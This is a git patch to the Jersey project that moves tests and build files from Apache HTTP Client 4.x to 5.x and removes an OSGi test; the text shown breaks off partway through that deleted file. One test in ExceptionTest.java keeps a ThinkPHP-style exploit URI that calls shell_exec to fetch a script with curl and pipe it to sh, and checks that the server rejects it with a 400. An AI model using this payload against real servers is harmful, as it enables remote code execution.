From 581846274ce02a16f35fae4f9b2fcc9994392876 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Steffen=20Nie=C3=9Fing?= Date: Wed, 29 Dec 2021 13:52:43 +0100 Subject: [PATCH] Issue #4897 - Support for Apache HTTP Client 5.x MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Remove other usages of HTTP Client 4.x and replace them with HTTP Client 5.x Signed-off-by: Steffen Nießing --- containers/jetty-http/pom.xml | 4 +- .../glassfish/jersey/jetty/ExceptionTest.java | 14 +-- .../jaxrs/JaxrsItemStoreResourceTest.java | 4 +- .../jersey/JerseyItemStoreResourceTest.java | 4 +- pom.xml | 1 - .../tests/api/MessageBodyReaderTest.java | 20 ++-- tests/integration/jersey-4321/pom.xml | 13 --- .../jersey/restclient/ConnectorTest.java | 19 ++-- tests/osgi/functional/pom.xml | 25 ----- .../test/basic/ApacheOsgiIntegrationTest.java | 92 ------------------- 10 files changed, 36 insertions(+), 160 deletions(-) delete mode 100644 tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/basic/ApacheOsgiIntegrationTest.java diff --git a/containers/jetty-http/pom.xml b/containers/jetty-http/pom.xml index eac86deece7..52fb89afadc 100644 --- a/containers/jetty-http/pom.xml +++ b/containers/jetty-http/pom.xml @@ -50,8 +50,8 @@ jetty-continuation - org.apache.httpcomponents - httpclient + org.apache.httpcomponents.client5 + httpclient5 test diff --git a/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/ExceptionTest.java b/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/ExceptionTest.java index ce299cdf81d..a13cbf2257e 100644 --- a/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/ExceptionTest.java +++ b/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/ExceptionTest.java @@ -16,11 +16,11 @@ package org.glassfish.jersey.jetty; -import org.apache.http.HttpHost; -import org.apache.http.client.methods.CloseableHttpResponse; -import org.apache.http.impl.client.CloseableHttpClient; -import org.apache.http.impl.client.HttpClientBuilder; -import org.apache.http.message.BasicHttpRequest; +import org.apache.hc.client5.http.impl.classic.CloseableHttpClient; +import org.apache.hc.client5.http.impl.classic.CloseableHttpResponse; +import org.apache.hc.client5.http.impl.classic.HttpClientBuilder; +import org.apache.hc.core5.http.HttpHost; +import org.apache.hc.core5.http.message.BasicClassicHttpRequest; import org.junit.Test; import javax.ws.rs.GET; @@ -57,12 +57,12 @@ public void test400StatusCodeForIllegalSymbolsInURI() throws IOException { String incorrectFragment = "/v1/abcdefgh/abcde/abcdef/abc/a/%3Fs=/Index/\\x5Cthink\\x5Capp/invokefunction" + "&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=curl+--user-agent+curl_tp5+http://127.0" + ".0.1/ldr.sh|sh"; - BasicHttpRequest request = new BasicHttpRequest("GET", testUri + incorrectFragment); + BasicClassicHttpRequest request = new BasicClassicHttpRequest("GET", testUri + incorrectFragment); CloseableHttpClient client = HttpClientBuilder.create().build(); CloseableHttpResponse response = client.execute(new HttpHost(testUri.getHost(), testUri.getPort()), request); - assertEquals(400, response.getStatusLine().getStatusCode()); + assertEquals(400, response.getCode()); } @Test diff --git a/examples/sse-item-store-jaxrs-webapp/src/test/java/org/glassfish/jersey/examples/sseitemstore/jaxrs/JaxrsItemStoreResourceTest.java b/examples/sse-item-store-jaxrs-webapp/src/test/java/org/glassfish/jersey/examples/sseitemstore/jaxrs/JaxrsItemStoreResourceTest.java index 87c85c5bd6b..2d8d6f31b58 100644 --- a/examples/sse-item-store-jaxrs-webapp/src/test/java/org/glassfish/jersey/examples/sseitemstore/jaxrs/JaxrsItemStoreResourceTest.java +++ b/examples/sse-item-store-jaxrs-webapp/src/test/java/org/glassfish/jersey/examples/sseitemstore/jaxrs/JaxrsItemStoreResourceTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2017, 2019 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2017, 2021 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Distribution License v. 1.0, which is available at @@ -36,6 +36,7 @@ import javax.ws.rs.core.UriBuilder; import javax.ws.rs.sse.SseEventSource; +import org.apache.hc.client5.http.impl.io.PoolingHttpClientConnectionManager; import org.glassfish.jersey.apache.connector.ApacheClientProperties; import org.glassfish.jersey.apache.connector.ApacheConnectorProvider; import org.glassfish.jersey.client.ClientConfig; @@ -44,7 +45,6 @@ import org.glassfish.jersey.test.JerseyTest; import org.glassfish.jersey.test.external.ExternalTestContainerFactory; -import org.apache.http.impl.conn.PoolingHttpClientConnectionManager; import org.junit.Test; import static org.hamcrest.CoreMatchers.containsString; diff --git a/examples/sse-item-store-jersey-webapp/src/test/java/org/glassfish/jersey/examples/sseitemstore/jersey/JerseyItemStoreResourceTest.java b/examples/sse-item-store-jersey-webapp/src/test/java/org/glassfish/jersey/examples/sseitemstore/jersey/JerseyItemStoreResourceTest.java index a561f71113b..e376592bc86 100644 --- a/examples/sse-item-store-jersey-webapp/src/test/java/org/glassfish/jersey/examples/sseitemstore/jersey/JerseyItemStoreResourceTest.java +++ b/examples/sse-item-store-jersey-webapp/src/test/java/org/glassfish/jersey/examples/sseitemstore/jersey/JerseyItemStoreResourceTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2019 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2021 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Distribution License v. 1.0, which is available at @@ -30,6 +30,7 @@ import javax.ws.rs.core.Response; import javax.ws.rs.core.UriBuilder; +import org.apache.hc.client5.http.impl.io.PoolingHttpClientConnectionManager; import org.glassfish.jersey.apache.connector.ApacheClientProperties; import org.glassfish.jersey.apache.connector.ApacheConnectorProvider; import org.glassfish.jersey.client.ClientConfig; @@ -39,7 +40,6 @@ import org.glassfish.jersey.test.JerseyTest; import org.glassfish.jersey.test.external.ExternalTestContainerFactory; -import org.apache.http.impl.conn.PoolingHttpClientConnectionManager; import org.junit.Test; import static org.hamcrest.CoreMatchers.containsString; diff --git a/pom.xml b/pom.xml index 75a889b9ec3..c9ff3233708 100644 --- a/pom.xml +++ b/pom.xml @@ -2124,7 +2124,6 @@ org.glassfish.hk2.*;version="[2.5,4)" org.jvnet.hk2.*;version="[2.5,4)" 5.1.0 - 4.5.13 5.1.2 2.13.0 1.9.13 diff --git a/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/MessageBodyReaderTest.java b/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/MessageBodyReaderTest.java index d0bd7f6e88a..7a2458cc7ec 100644 --- a/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/MessageBodyReaderTest.java +++ b/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/MessageBodyReaderTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2018 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2021 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -34,16 +34,16 @@ import javax.ws.rs.ext.MessageBodyReader; import javax.ws.rs.ext.Provider; +import org.apache.hc.client5.http.classic.methods.HttpPost; +import org.apache.hc.client5.http.impl.classic.CloseableHttpClient; +import org.apache.hc.client5.http.impl.classic.CloseableHttpResponse; +import org.apache.hc.client5.http.impl.classic.HttpClientBuilder; +import org.apache.hc.core5.http.io.entity.ByteArrayEntity; import org.glassfish.jersey.logging.LoggingFeature; import org.glassfish.jersey.message.internal.ReaderWriter; import org.glassfish.jersey.server.ResourceConfig; import org.glassfish.jersey.test.JerseyTest; -import org.apache.http.HttpResponse; -import org.apache.http.client.HttpClient; -import org.apache.http.client.methods.HttpPost; -import org.apache.http.entity.ByteArrayEntity; -import org.apache.http.impl.client.HttpClientBuilder; import org.junit.Test; import static org.junit.Assert.assertEquals; @@ -115,13 +115,13 @@ protected Application configure() { @Test public void testDefaultContentTypeForReader() throws Exception { final HttpPost httpPost = new HttpPost(UriBuilder.fromUri(getBaseUri()).path("resource/plain").build()); - httpPost.setEntity(new ByteArrayEntity("value".getBytes())); + httpPost.setEntity(new ByteArrayEntity("value".getBytes(), null)); httpPost.removeHeaders("Content-Type"); - final HttpClient httpClient = HttpClientBuilder.create().build(); - final HttpResponse response = httpClient.execute(httpPost); + final CloseableHttpClient httpClient = HttpClientBuilder.create().build(); + final CloseableHttpResponse response = httpClient.execute(httpPost); - assertEquals(200, response.getStatusLine().getStatusCode()); + assertEquals(200, response.getCode()); assertEquals("value;null", ReaderWriter.readFromAsString(response.getEntity().getContent(), null)); } } diff --git a/tests/integration/jersey-4321/pom.xml b/tests/integration/jersey-4321/pom.xml index 77df827d598..fac708ae4bc 100644 --- a/tests/integration/jersey-4321/pom.xml +++ b/tests/integration/jersey-4321/pom.xml @@ -51,19 +51,6 @@ org.glassfish.jersey.connectors jersey-apache-connector - - - org.apache.httpcomponents - httpclient - - - test - - - org.apache.httpcomponents - httpclient - - 4.5 test diff --git a/tests/integration/microprofile/rest-client/src/test/java/org/glassfish/jersey/restclient/ConnectorTest.java b/tests/integration/microprofile/rest-client/src/test/java/org/glassfish/jersey/restclient/ConnectorTest.java index 6a3cb19caa0..234fceb9ab3 100644 --- a/tests/integration/microprofile/rest-client/src/test/java/org/glassfish/jersey/restclient/ConnectorTest.java +++ b/tests/integration/microprofile/rest-client/src/test/java/org/glassfish/jersey/restclient/ConnectorTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2019 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2019, 2021 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -20,9 +20,10 @@ import java.net.URISyntaxException; import java.util.concurrent.CountDownLatch; -import org.apache.http.conn.ConnectionRequest; -import org.apache.http.conn.routing.HttpRoute; -import org.apache.http.impl.conn.PoolingHttpClientConnectionManager; +import org.apache.hc.client5.http.HttpRoute; +import org.apache.hc.client5.http.impl.io.PoolingHttpClientConnectionManager; +import org.apache.hc.client5.http.io.LeaseRequest; +import org.apache.hc.core5.util.Timeout; import org.eclipse.microprofile.rest.client.RestClientBuilder; import org.glassfish.jersey.apache.connector.ApacheClientProperties; import org.glassfish.jersey.apache.connector.ApacheConnectorProvider; @@ -50,9 +51,15 @@ public void testConnector() throws URISyntaxException { PoolingHttpClientConnectionManager connectionManager = new PoolingHttpClientConnectionManager() { @Override - public ConnectionRequest requestConnection(HttpRoute route, Object state) { + public LeaseRequest lease(String id, HttpRoute route, Object state) { countDownLatch.countDown(); - return super.requestConnection(route, state); + return super.lease(id, route, state); + } + + @Override + public LeaseRequest lease(String id, HttpRoute route, Timeout requestTimeout, Object state) { + countDownLatch.countDown(); + return super.lease(id, route, requestTimeout, state); } }; diff --git a/tests/osgi/functional/pom.xml b/tests/osgi/functional/pom.xml index b5c4fd6db5c..bfbf5bce829 100644 --- a/tests/osgi/functional/pom.xml +++ b/tests/osgi/functional/pom.xml @@ -173,31 +173,6 @@ test - - - org.glassfish.jersey.connectors - jersey-apache-connector - test - - - org.ops4j.pax.logging - pax-logging-api - test - 1.11.5 - - - org.apache.httpcomponents - httpcore-osgi - test - 4.4.6 - - - org.apache.httpcomponents - httpclient-osgi - test - ${httpclient.version} - - org.glassfish.jersey.media jersey-media-json-jackson diff --git a/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/basic/ApacheOsgiIntegrationTest.java b/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/basic/ApacheOsgiIntegrationTest.java deleted file mode 100644 index d6df4e87504..00000000000 --- a/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/basic/ApacheOsgiIntegrationTest.java +++ /dev/null @@ -1,92 +0,0 @@ -/* - * Copyright (c) 2015, 2021 Oracle and/or its affiliates. All rights reserved. - * - * This program and the accompanying materials are made available under the - * terms of the Eclipse Public License v. 2.0, which is available at - * http://www.eclipse.org/legal/epl-2.0. - * - * This Source Code may also be made available under the following Secondary - * Licenses when the conditions for such availability set forth in the - * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, - * version 2 with the GNU Classpath Exception, which is available at - * https://www.gnu.org/software/classpath/license.html. - * - * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 - */ - -package org.glassfish.jersey.osgi.test.basic; - -import java.net.URI; -import java.util.List; - -import javax.ws.rs.GET; -import javax.ws.rs.Path; -import javax.ws.rs.client.Client; -import javax.ws.rs.client.ClientBuilder; -import javax.ws.rs.core.Response; -import javax.ws.rs.core.UriBuilder; - -import org.glassfish.grizzly.http.server.HttpServer; -import org.glassfish.jersey.apache.connector.ApacheConnectorProvider; -import org.glassfish.jersey.client.ClientConfig; -import org.glassfish.jersey.grizzly2.httpserver.GrizzlyHttpServerFactory; -import org.glassfish.jersey.osgi.test.util.Helper; -import org.glassfish.jersey.server.ResourceConfig; - -import org.junit.Test; -import org.junit.runner.RunWith; -import org.ops4j.pax.exam.Configuration; -import org.ops4j.pax.exam.Option; -import org.ops4j.pax.exam.junit.PaxExam; - -import static org.junit.Assert.assertEquals; -import static org.ops4j.pax.exam.CoreOptions.mavenBundle; - -/** - * @author Adam Lindenthal - */ -@RunWith(PaxExam.class) -public class ApacheOsgiIntegrationTest { - - private static final URI baseUri = UriBuilder.fromUri("http://localhost").port(Helper.getPort()).path("/jersey").build(); - - @Configuration - public static Option[] configuration() { - final List